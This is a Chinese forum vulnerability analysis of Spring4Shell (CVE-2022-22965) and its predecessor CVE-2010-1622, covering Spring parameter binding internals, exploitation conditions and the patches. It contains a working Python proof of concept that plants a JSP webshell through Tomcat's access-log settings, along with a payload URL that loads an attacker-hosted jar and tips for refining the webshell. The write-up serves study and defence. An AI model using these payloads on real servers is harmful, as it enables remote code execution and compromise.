奇安信攻防社区-Spring4Shell（CVE-2022-22965）漏洞分析

Spring4Shell（CVE-2022-22965）漏洞分析

- ### 环境搭建
    
    github 上拉了一个现成的 spring + tmcat 环境：<https://github.com/winn-hu/interface>。可以在其中添加实验用的 model 和 controller。
- ### 漏洞成因
    
    这次的 CVE-2022-22965 其实是 CVE-2010-1622 的绕过，由参数绑定造成的变量覆盖漏洞，通过更改 tomcat 服务器的日志记录属性，触发 pipeline 机制实现任意文件写入。
- ### SpringMVC 的参数绑定机制
    
    演示 demo：

```php
    HelloController.java

@Controller  
    public class HelloController {  
        @RequestMapping("/index")  
        public String index(User user) {  
            return user.toString();  
        }  
    }

User.java

package com.moonflower.model;  
      
    import com.moonflower.model.info;  
      
    public class User {  
        public String name;  
        public String age;  
        public com.moonflower.model.info info;  
      
        public User(String name, String age, com.moonflower.model.info info) {  
            this.name \= name;  
            this.age \= age;  
            this.info \= info;  
            System.out.println("调用了User的有参构造");  
        }  
      
        public User() {  
            System.out.println("调用了User的无参构造");  
        }  
      
        public String getName() {  
            System.out.println("调用了User的getName");  
            return name;  
        }  
      
        public void setName(String name) {  
            System.out.println("调用了User的setName");  
            this.name \= name;  
        }  
      
        public com.moonflower.model.info getInfo() {  
            System.out.println("调用了User的getInfo");  
            return info;  
        }  
      
        public void setInfo(com.moonflower.model.info info) {  
            System.out.println("调用了User的setInfo");  
            this.info \= info;  
        }  
      
        @Override  
        public String toString() {  
            return "User{" +  
                    "name='" + name + '\\'' +  
                    ", info=" + info +  
                    '}';  
        }  
    }

info.java

package com.moonflower.model;  
      
    public class info {  
        public String QQ;  
        public String vx;  
      
        public info(String QQ, String vx) {  
            this.QQ \= QQ;  
            this.vx \= vx;  
            System.out.println("调用了info的有参构造");  
        }  
      
        public info() {  
            System.out.println("调用了info的无参构造");  
        }  
      
        public String getQQ() {  
            System.out.println("调用了info的getQQ");  
            return QQ;  
        }  
      
        public void setQQ(String QQ) {  
            System.out.println("调用了info的setQQ");  
            this.QQ \= QQ;  
        }  
      
        public String getVx() {  
            System.out.println("调用了info的getvx");  
            return vx;  
        }  
      
        public void setVx(String vx) {  
            this.vx \= vx;  
            System.out.println("调用了info的setvx");  
        }  
      
      
        @Override  
        public String toString() {  
            return "info{" +  
                    "QQ='" + QQ + '\\'' +  
                    ", vx='" + vx + '\\'' +  
                    '}';  
        }  
    }

```

首先尝试访问 /index?name=moonflower&amp;info.QQ=123&amp;info.vx=13，在执行完 toString 之后，可以看到传入的 name 自动绑定到了 user.name 上，而 info.QQ 和 info.vx 也分别自动绑定到了 user.info.QQ 和 user.info.vx 上，这也表明了 SpringMVC 支持多层嵌套的参数绑定。

![image-20220408160500800](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-31553c6de9d0ae56e4a7a91f637186174ce58c60.png)

再看一下输出的内容，能看出参数的绑定先 get 后 set，而对于多层嵌套绑定（info.QQ），则是依次调用了 User.getinfo -&gt; info.getQQ -&gt; info.setQQ

![image-20220408162537886](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-9475b16fd5e432896adb7e19f838e69441d5fb44.png)

执行参数绑定的函数可以跟进 ServletRequestDataBinder 类中

![image-20220408163212286](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-e6e431871349da16186109bb20d24c2765bbb788.png)

继续跟进到 doBind 中，发现其又调用了父类的 doBind，

![image-20220408163241062](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-97b4ec59543c1b64926e56103d20a9c72245a889.png)

![image-20220408163400974](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-2a04112671bf366253df121acd6f6f95296e83a7.png)

在 applyPropertyValues 中添加参数的值

![image-20220408163515488](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-2889ee92506852bf5597a4b534a4dae0734cfa53.png)

首先调用 getPropertyAccessor 获取 BeanWrapperImpl，然后调用 setPropertyValues 赋值，在 setPropertyValues 中循环调用 setPropertyValue，为每一个 propertyname 赋值（图中已经是赋值完 QQ，开始赋值 vx）

![image-20220408170046471](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-d9e74aa2d67d9e6cbbab364358b8f83d5645af6d.png)

然后在 setPropertyValue 中持续跟进，一直到 getPropertyAccessorForPropertyPath，

![image-20220408170021270](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-c1301220dc7cce7caaec9d2a3057d50fde5863a2.png)

在 getPropertyAccessorForPropertyPath 中解析了即将绑定的参数（info.vx)

![image-20220408170347289](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-9abc329a062955602c9e9b0789da53b226b4e449.png)

再跟到 getPropertyValue 中

![image-20220408170736556](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-93f7b9e2fec22adc53f94d9ec951bf2a85562b29.png)

在 getLocalPropertyHandler 中，BeanWrapperImpl 的方法拿到了 info 类

![image-20220408170858986](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-1027069c66a76fda9ee26075d4c92b6638e35e2a.png)

继续跟到 setDefaultValue，而 setDefaultValue 又会调用 createDefaultPropertyValue 中

![image-20220408172707060](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-148659d765f7a5f10b7f475004109c60cbc4b6ad.png)

在 createDefaultPropertyValue 的 newValue 中可以看到反射构造

![image-20220408172906444](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-07964f7d2f8ab9fe378afe2cc8134051a8cdada2.png)

![image-20220408173031786](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-338e873453149afcbb32344cbf99fdc057b1a6b8.png)

这时看一下 output，发现已经打印了调用 info 的无参构造

![image-20220408173111390](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-f3d86f199542e16cb70ce2e07c2c2ed2a74d34a8.png)

回到 setDefaultValue 中，接着调用里 setPropertyValue 方法，

![image-20220408181529234](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-aff779f0bb1054542379b98fc1718d8aeee782dc.png)

继续跟进到解析对应的参数，而这里解析到的是一个 info 类，

![image-20220408182015937](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-96c0a3d3b5e34149ab88fc3a3b0aa3b22b90df32.png)

就像刚开始说的那样，在当前要绑定的参数 (info) 无法直接赋值的时候，会进行多层嵌套的参数绑定，可以看到程序又会回到 getPropertyAccessorForPropertyPath 中，而且参数从 info.QQ 变成了 QQ，然后继续跟进，就可以看到给对应属性（QQ）的赋值操作

![image-20220408184045968](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-8879bd264c28ffba781a7a581b4840c1cd10aa4c.png)

在后续的 getValue 函数中，通过反射的方法调用了对应的 get 方法（getQQ），

![image-20220408184639669](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-b685ebef9b3c468a3e775741afb3be9c8182495e.png)

继续向下跟进到 setValue 中，同样也是用反射调用了对应的 set 方法，此时 output 中出现对应打印内容。

![image-20220408184751205](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-fee18789e36ebceb2bffd3133ae2ef739b0794a7.png)

大致流程（图来自 rui0 师傅）

![image-20220408204309017](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-e40bbbe60f8ffde46198b885aff039e6cd6c81b2.png)

- ### 关于 JavaBean
    
    在上面的例子中声明的类（User, info）都是 JavaBean，一种特殊的类。主要用于传递数据信息，要求方法符合某种命名规则，在这些 bean 中通常只有信息字段和存储方法，没有功能性方法。
    
    对于 JavaBean 中的私有属性，可以通过 getter/setter 方法来访问/设置，在 jdk 中提供了一套 api 来访问某个属性的 getter/setter 方法，也就是内省。
    
    BeanInfo getBeanInfo(Class beanClass)  
    BeanInfo getBeanInfo(Class beanClass, Class stopClass)
    
    在获得 BeanInfo 后，可以通过 PropertyDescriptors 类获取符合 JavaBean 规范的对象属性和 getter/setter 方法。
    
    （如果用 IDEA 调过前面参数绑定的过程，就会发现在 Spring 中对 JavaBean 的操作不是用 getBeanInfo（太麻烦了），而是用 BeanWrapperImpl 这个类的各种方法来操作。BeanWrapperImpl 类是 BeanWrapper 接口的默认实现，可以看作前面提到的 PropertyDescriptor 的封装，BeanWrapperImpl 对 Bean 的属性访问和设置最终调用的是 PropertyDescriptor。）
    
    demo:
    
    public class demo {  
     public static void main(String\[\] args) throws Exception {  
     BeanInfo userBeanInfo \\= Introspector.getBeanInfo(User.class);  
     PropertyDescriptor\[\] descriptors \\= userBeanInfo.getPropertyDescriptors();  
     for (PropertyDescriptor pd : descriptors) {  
     System.out.println("Property: " + pd.getName());  
     }  
     }  
    }
    
    程序跑起来的时候可以发现，User 的属性（name，info）及其方法都在 PropertyDescriptor 中可以拿到，
    
    ![image-20220408203023229](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-ccb849f9096e2d8599158721112c5135bf1697be.png)
    
    但除此之外，还能拿到一个 Class 类，而且自带一个 getClass 方法。
    
    ![image-20220408203417114](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-80fb1112bd1059f8c9759bebda964894b60dc52f.png)
    
    这里是因为没有使用 stopClass，访问该类的时候访问到了 Object.class，而内省机制的判定规则是，只要由 getter/setter 方法中的一个，就会认为存在一个对应的属性，而碰巧的是，Java 中的所有对象都会默认继承 Object 类，同时它也存在一个 getClass 方法，这样就解析到了 class 属性。
    
    如果直接调用：
    
    Introspector.getBeanInfo（Class.class）
    
    可以获取更多信息，包括关键的 classLoader。
    
    ![image-20220409104105332](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-0e1ed53e1507f709d9c84b5eb55b90a0cb9bd978.png)
- ### CVE-2010-1622
    
    首先分析一下变量覆盖的问题，是在参数绑定的时候发生的，
    
    demo：
    
    public class UserInfo {  
     private String id;  
     private String number;  
     private User user \\= new User();  
     private String names\[\] \\= new String\[\]{"moonflower"};  
      
     public String getId() {  
     return id;  
     }  
     public String getNumber() {  
     return number;  
     }  
     public void setId(String id) {  
     this.id \\= id;  
     }  
     public User getUser() {  
     return user;  
     }  
     public String\[\] getNames() {  
     return names;  
     }  
    }
    
    设置 test 路由：
    
     @RequestMapping(value \\= "/test", method \\= RequestMethod.GET)  
     public void test(UserInfo userInfo) {  
     System.out.println("id:"+userInfo.getId());  
     System.out.println("number:"+userInfo.getNumber());  
     System.out.println("class:"+userInfo.getClass());  
     System.out.println("user.name:"+userInfo.getUser().getName());  
     System.out.println("names\[0\]:"+ userInfo.getNames()\[0\]);  
     System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());  
     }
    
    然后访问（注意\[\]要编码）：
    
    /test?id=1&amp;name=test&amp;class.classLoader=org.apache.catalina.loader.StandardClassLoader&amp;class=java.lang.String&amp;number=123&amp;user.name=moonflower&amp;names\[0\]=33333
    
    对照一下输出的内容：
    
    ![image-20220408220253963](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-3ad57819af72030029f2ea0d063724d6c88cf78b.png)
    
    Id 和 name 有 get 和 set 方法，可以正常获取；number 为空，因为没有 set 方法；class 和 classLoader 也都没有 set 方法所有赋值失败。但出乎意料的是 names 没有 get 方法但赋值成功了（33333），这时需要打个断点调一下了。
    
    前半部分的和前面调试参数绑定的流程相同，直到跟到 getLocalPropertyHandler 中，跟进看看内部的具体实现。
    
    ![image-20220408221939906](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-7f144563189991a9486429e0298aaecf7a0ebf07.png)
    
    这里最后调用的是 CachedIntrospectionResults.getPropertyDescriptor 这个方法（最后发现图贴错了，重新补了一张，name 换了但不是重点）
    
    ![image-20220409205948940](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-662906554134e873dc67704b9599cfac1aa346d9.png)
    
    在其中循环调用 buildGenericTypeAwarePropertyDescriptor，查找每个属性的 getter 和 setter，
    
    ![image-20220409103442420](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-d519eb87ebd65dc159d76dd4e492e3c8606d0599.png)
    
    ![image-20220409103606480](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-9bc22356b4081ee017d8a3887c54fd5092cb4554.png)
    
    按照之前调试的流程，一直跟进到 setPropertyValue，参数的绑定在这里面完成
    
    ![image-20220409100130081](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-c767f7432763372a43029bdd10f22f503523eaac.png)
    
    在前面的 CachedIntrospectionResults.getPropertyDescriptor 中拿到了这个属性的 getter 和 setter，本应该判断是否有 setter 方法（isWriteable），然后进行参数的绑定，
    
    ![image-20220409101109119](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5d03a865024b3e292bac2d459693e2c7c4584403.png)
    
    但是在验证 isWriteable 之前，会先判断是不是数组类型，如果是的话就直接调用 Array.set 在底层赋值。
    
    ![image-20220409101236379](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-7286b4b4ca0d4bc2dd45cb2b7a6a340c17cae532.png)
    
    目前可公开的情报：
    
    1.SpringMVC 支持嵌套的参数绑定  
    2.JavaBean 底层实现的时候能访问到 Object.class  
    3.class 这个属性存在对应的 getter  
    4.可以在没有 setter 的情况下可以修改数组变量的值
    
    在 tomcat 中的 WebappLoader 类继承了 URLClassLoader ，URLClassLoader 有一个方法 getURLs，可以返回一个数组。而 getURLs 方法在 TldLocationsCache 类（处理页面的 tld 标签库）中被调用，可以从 URL 数组中指定的目录去获取 tld 文件（运行远程获取）。
    
    结合以上信息，在 CVE-2010-1622 中，攻击者可以控制 class.classLoader.URLs\[\]，提交参数：
    
    class.classLoader.URLs\[0\]=jar:<http://attacker/spring-exploit.jar>!/
    
    接着在渲染 jsp 页面的时候，Spring 会通过 Jasper 中的 TldLocationsCache 类从 WebappClassLoader 中读取 url 参数并用来解析 TLD 文件，其中 spring-exploit.jar里面包含修改后的 spring-form.tld，而解析 tld 的过程中允许使用 jsp 语法，那么恶意的 spring-form.tld 可以在原 /META-INF/spring-form.tld 中替换 input tag：
    
    &lt;!-- &lt;form:input/&gt; tag --&gt;  
    &lt;tag-file&gt;  
    &lt;name&gt;input&lt;/name&gt;  
    &lt;path&gt;/META-INF/tags/InputTag.tag&lt;/path&gt;  
    &lt;/tag-file&gt;
    
    （input tag 会根据开发人员的定义，给参数默认赋值）
    
    这样就指定了一个 tag 文件解析。同样，恶意的的 tag 文件也可以放在构造的 spring-exploit.jar 中
    
    &lt;%@ tag dynamic-attributes="dynattrs" %&gt;  
    &lt;%  
    j java.lang.Runtime.getRuntime().exec("calc");  
    %&gt;
    
    经过这样的替换后，当开发者在 controller 中将任何一个对象绑定表单（一般的 web 应用中都会由），那么就可以通过构造 payload：
    
    ?class.classLoader.URLs\[0\]=jar:<http://vsp/spring-exploit.jar>!/
    
    实现远程命令执行。
    
    除此之外，需要是该应用启动后第一次的 jsp 页面请求即第一次渲染进行TldLocationsCache.init 才可以，否则无法将修改的 URLs 内容装载，也就无法加载我们恶意的 tld。
    
    ##### 漏洞修复：
    
    虽然是 spring 的漏洞，但 tomcat 也做了对应的修复，在 tomcat6.0.28 之后的版本把 getURLs 方法返回的值改成了 clone
    
    6.0.28：
    
    public URL\[\] getURLs() {  
    if (repositoryURLs != null) {  
    return repositoryURLs;  
    }
    
    之后：
    
    public URL\[\] getURLs() {  
    if (repositoryURLs != null) {  
    return repositoryURLs.clone();  
    }
    
    至于 spring 的修复其实在之前 debug 的过程中已经能看到了，本地用的是 4.3.5 版本，在查找属性的 getter 和 setter 的时候，对 classLoader 进行了过滤。
    
    ![image-20220409103442420](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-d519eb87ebd65dc159d76dd4e492e3c8606d0599.png)
- ### CVE-2022-22965
    
    在漏洞利用的前提中有一条有其重要，就是要使 jdk9+ 的版本（本地用 jdk11 进行调试），原因是在 java9 添加了 module 模块，而 CVE-2022-22965 就是利用了这个模块实现了 CVE-2010-1622 的绕过，但与其说是绕过，更不如说是攻击方式的拓展。
    
    前面提到过，getBeanInfo 能获得属性的原因是有对应的 getter，在 jdk9 以后的 java.lang.Class 中，发现 getModule 方法，
    
    ![image-20220409175251746](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-bd18231134b09b18dc67eac6d134a29c706014a3.png)
    
    在 jdk9+ 的 Class.class 中也可以看到：
    
    ![image-20220409175445837](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-b902480b1a37197519cf230a5fdd7b238a04a5bf.png)
    
    而在这个 module 类中，也存在一个 ClassLoader 类型的属性，并且存在对应的 getter ，
    
    ![image-20220409175554892](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-8d8d43118086733ba0b742262cc349e2daca780a.png)
    
    ![image-20220409175650593](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-b68a8b24b6b47c06142ab8429ed4d40ccbc3ed1f.png)
    
    那么现在 spring 过滤 classLoader 的修复已经是被绕过了，但在 tomcat6.0.28 之后因为 getUrls 的修复，之前的利用方式也无法使用。而在这个漏洞中 getshell 的方式和之前 Apache Struts 曾经曝出过的远程代码执行（CVE-2014-0094）相似，通过修改 Tomcat 的日志设置（通过AccessLogValve）来写入恶意文件。
    
    到 CVE-2014-0094 在 msf 中已经集成，看一下 poc，
    
    ![image-20220409181314079](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-7cfbbca3ae05117965235fa77a5ba63dcd0c6592.png)
    
    对应 http 报文填充的内容：
    
    ![image-20220409181405577](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-f1752e7d312e0818c2cb3594b5e6d741c6532bfb.png)
    
    不过后续是直接将 ?dump 进去
    
    ![image-20220409192648824](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-bfa0c3cdbebd49e5aa391663c2033b1cb36a4ef0.png)
    
    ![image-20220409192735003](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-0c248803b71b05abcb56705476718303a53d7f4e.png)
    
    看一下 CVE-2022-22965 的 poc，这里利用了 pattern 来写?
    
    ```php
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    
    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:
    
        requests.post(url,headers=headers,data=data,timeout=15,allow\_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow\_redirects=False, verify=False)
        if shellgo.status\_code == 200:
            print(f"Vulnerable，shell ip:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass
    ```
    
    其中将 url 解码后，看一下每个参数的赋值：
    
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte\[\] b = new byte\[2048\]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
    
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    
    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
    
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    
    看一下每个参数在 tomcat 中对应的定义：
    
    | directory | 将放置此 Valve 创建的日志文件的目录的绝对或相对路径名。如果指定了相对路径，则将其解释为相对于 $CATALINA\_BASE。如果未指定目录属性，则默认值为“logs”（相对于 $CATALINA\_BASE）。 |
    |---|---|
    | prefix | 添加到每个日志文件名称开头的前缀。如果未指定，默认值为“access\_log”。 |
    | suffix | 添加到每个日志文件名称末尾的后缀。如果未指定，则默认值为“”（长度为零的字符串），表示不会添加后缀。 |
    | fileDateFormat | 允许在访问日志文件名中自定义时间戳。每当格式化的时间戳更改时，文件就会轮换（rotated）。默认值为`.yyyy-MM-dd`。如果您希望每小时轮换一次，则将此值设置为`.yyyy-MM-dd.HH`。日期格式将始终使用 locale 进行本地化`en_US`。 |
    | pattern | 一种格式布局，用于标识要记录的请求和响应中的各种信息字段，或者选择标准格式的 `common`单词`combined`。有关配置此属性的更多信息，请参见下文。 |
    
    下面就是通过 debug 分析一下 poc 成功执行的原因了，先打一发 payload 过去，重点看 setPropertyValue 的过程
    
    ![image-20220409204523881](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-944d0f780b21c58f43be2f68ae38b92102b76f42.png)
    
    在 getPropertyAccessorForPropertyPath 中迭代解析参数
    
    ![image-20220409204937216](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-e86c40598a63cac4fb573cbd47e1215e7743e392.png)
    
    重点看每次反射获取方法时调用的 class，module 前面的之前已经调过了：
    
    classLoader：
    
    ![image-20220409212134080](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-bd9640eb8bf419328ed9f1fea7ec90c96bab9b04.png)
    
    resources：（注意这里已经开始修改 tomcat 中的属性了）
    
    ![image-20220409212227656](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-adec566daca41b9c7442c0bf60f83fb1896da854.png)
    
    context：（这里是一个 StandardContext 的上下文）
    
    ![image-20220409212339732](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-fabc46c0d13659080baaf1a17d94b4ffd36c9e8c.png)
    
    ![image-20220409221731986](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-7cd7ae6bb9e91acc18e2acb284be200d619699da.png)
    
    而 StandardContext 类继承自 ContainerBase，payload 中通过 parent 获得：
    
    ![image-20220409221922360](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-bf1b85d1da1089fed5037fcce6903a302fac03d6.png)
    
    到现在为止，能做到覆盖 ContainerBase 的属性了，payload 中选择了 pipeline 属性，
    
    ![image-20220409222202948](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-84f0f744964d48d8ef751b1f43857c37a6c44c90.png)
    
    接着是 first，first 变量是一个 Valve 类型的接口，也就是说这里能修改继承这个接口的类中的属性，
    
    ![image-20220409222528400](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-2c7a4ba4a215778f2037b6a0c43498bb088f99fb.png)
    
    最后修改了 AccessLogValve 这个类中的属性。
    
    ![image-20220409222945610](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-73d032b93a6e960c4af59e6e3d684225122e380e.png)
    
    AccessLogValve 用来记录访问日志 access\_log。Tomcat 的 server.xml 中默认配置了 AccessLogValve，所有部署在 Tomcat 中的 Web 应用均会执行该 Valve。对照前面 tomcat 对其中属性的定义，已经可以控制日志后缀名，文件名称，存放位置等属性。（在 server.xml 中定义）
    
    ![image-20220409223937023](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5df4a01db4c751db64ca77c0d36dccbd8716edf4.png)
    
    本来 log 内容以 pattern 的格式填充，而 payload 中直接进行了覆盖，从而写进去了?。
    
    还有一个问题就是为什么要加一个 fileDateFormat，目的是触发 tomcat 切换日志。看一下 AccessLogValve 的 rotatable 属性。
    
    ![image-20220409225312259](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-39440742a892c9c11c1918b3b49b1af02d596cc8.png)
    
    用于确定是否应发生日志轮换的标志。如果设置为 false，则永远不会轮转此文件并忽略 fileDateFormat。默认值：true
    
    意思就是说，当这个值为 true 的时候，tomcat 会根据时间的变换而自动生成新的文件，避免所有的日志从 tomcat 运行开始都写在一个文件中。如下：
    
    ![image-20220409225714380](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-39002e122691d9934c68fc6417feb4db7b8bc0bd.png)
    
    再看一下执行这个过程的代码实现：
    
    ![image-20220409225856012](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-bb43fd839a341255356ed6b7703dcccb2eb94dfd.png)
    
    其中 fileDateFormat 的初始化：
    
    ![image-20220409230028127](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-4bac28306206447bc98aa82fdf5acb6c791e6a11.png)
    
    那么如果在程序运行时把 fileDateFormat 改为空，就会导致 toDate 为空，进入 if 语句并打开新的 log 文件。
    
    跟进一下 open 的实现流程，也能和前面传入的属性对应。
    
    ![image-20220409230426709](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-b1f0aa287f8d4129bbb76ee5c5fc12e368849018.png)
    
    到现在已经实现了任意文件的写入，但是要写?的话还是有些问题要解决。
    
    在 tomcat 的比较新的版本中，无法在 URL 中携带 `<`，`{` 等特殊字符，但在 AccessLogValve 的输出方式支持 [Apache HTTP Server](https://httpd.apache.org/) 日志配置语法模型，可以通过占位符写入特殊字符。
    
    %{xxx}i 请求headers的信息  
    %{xxx}o 响应headers的信息  
    %{xxx}c 请求cookie的信息  
    %{xxx}r xxx是ServletRequest的一个属性  
    %{xxx}s xxx是HttpSession的一个属性
- ### 漏洞复现
    
    github 上拉一个：<https://github.com/fengguangbin/spring-rce-war>
    
    把 stupidRumor\_war.war 放到 tomcat 的 webapps 中，试一下任意文件写入：
    
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=D%3A%5Cenvironment%5Capache-tomcat%5Capache-tomcat-8.5.73%5Cwebapps%5Ctmp&amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    
    ![image-20220409233845110](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-93da5e4db42847690cd96af334199f2ebe720c4e.png)
    
    但是这个 payload 还是存在一些问题，首先是初次写入后无法修改写入文件的位置，然后就是每次访问都会向?中添加内容（图中的两个 success)。
    
    根据我们前面的分析，出现这种情况的原因是没有触发 rotata，因为两次传入的 fileDateFormat 都为空，equal 的时候自然就会相等，从而无法生成新的日志。
    
    解决方法就是如果要修改?的位置，让 fileDateFormat 和上次不一样就行，可以通过 "fileDateFormat + prefix".jsp 的格式拼接出文件名。
    
    而对于重复添加内容，可以在 webshell 末尾添加 *&lt;!--* 把后面的内容注释掉。
- ### 利用限制
    
    
    - JDK9 或以上版本系列（存在 module 属性）
    - Spring 框架或衍生的 SpringBoot 等框架，版本小于 v5.3.18 或 v5.2.20（支持参数绑定机制）
    - Spring JavaBean 表单参数绑定需要满足一定条件
    - 以 war 包的形式部署在 Tomcat 容器中，且日志记录功能开启（默认状态）
    
    漏洞利用的关键点是利用 module 属性加载 org.apache.catalina.loader.ParallelWebappClassLoader 这个 classLoader，![image-20220408220253963](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-3ad57819af72030029f2ea0d063724d6c88cf78b.png)
    
    将利用链的挖掘转移到了 tomcat 中，再通过修改其中的一系列属性 getshell。
    
    但如果 web 应用是以 jar 包的形式部署（比较常见），那么 classLoader 就会被解析成 org.springframework.boot.loader.LaunchedURLClassLoader，无法继续利用 tomcat 的属性。
- ### 补丁分析
    
    Spring（5.3.18）：
    
    ![image-20220410001554413](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-7074933c18bba643342dc90f6457f4aed243a5cb.png)
    
    直接用白名单，对于 class 只能获取以 name 结尾的属性，比起之前的黑名单算是修的比较彻底了。
    
    Tomcat（9.0.62）：
    
    ![image-20220410001802378](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-ad8f2e194ea5ca10481d2cf1eccd16e40dbb1fe9.png)
    
    十分彻底 ，getResouces 直接返回 null，后续的链就都断了。
- ### 参考文献
    
    
    - <https://paper.seebug.org/1877/>
    - <https://mp.weixin.qq.com/s/kc7XP3K98c62Z-Euyz1EZA>
    - <https://mp.weixin.qq.com/s/G1z7mydl4nc9SxcZjwUQwg>
    - <http://rui0.cn/archives/1158>
    - [https://blog.csdn.net/weixin\_45794666/article/details/123918066](https://blog.csdn.net/weixin_45794666/article/details/123918066)
    - <https://www.iteye.com/topic/1123382>
    - <https://www.exploit-db.com/exploits/33142>
    - <https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py>
    - <https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15>
    - <https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c>

发表于 2022-04-22 09:33:12
阅读 ( 6103 )
分类：漏洞分析

Spring4Shell（CVE-2022-22965）漏洞分析

0 条评论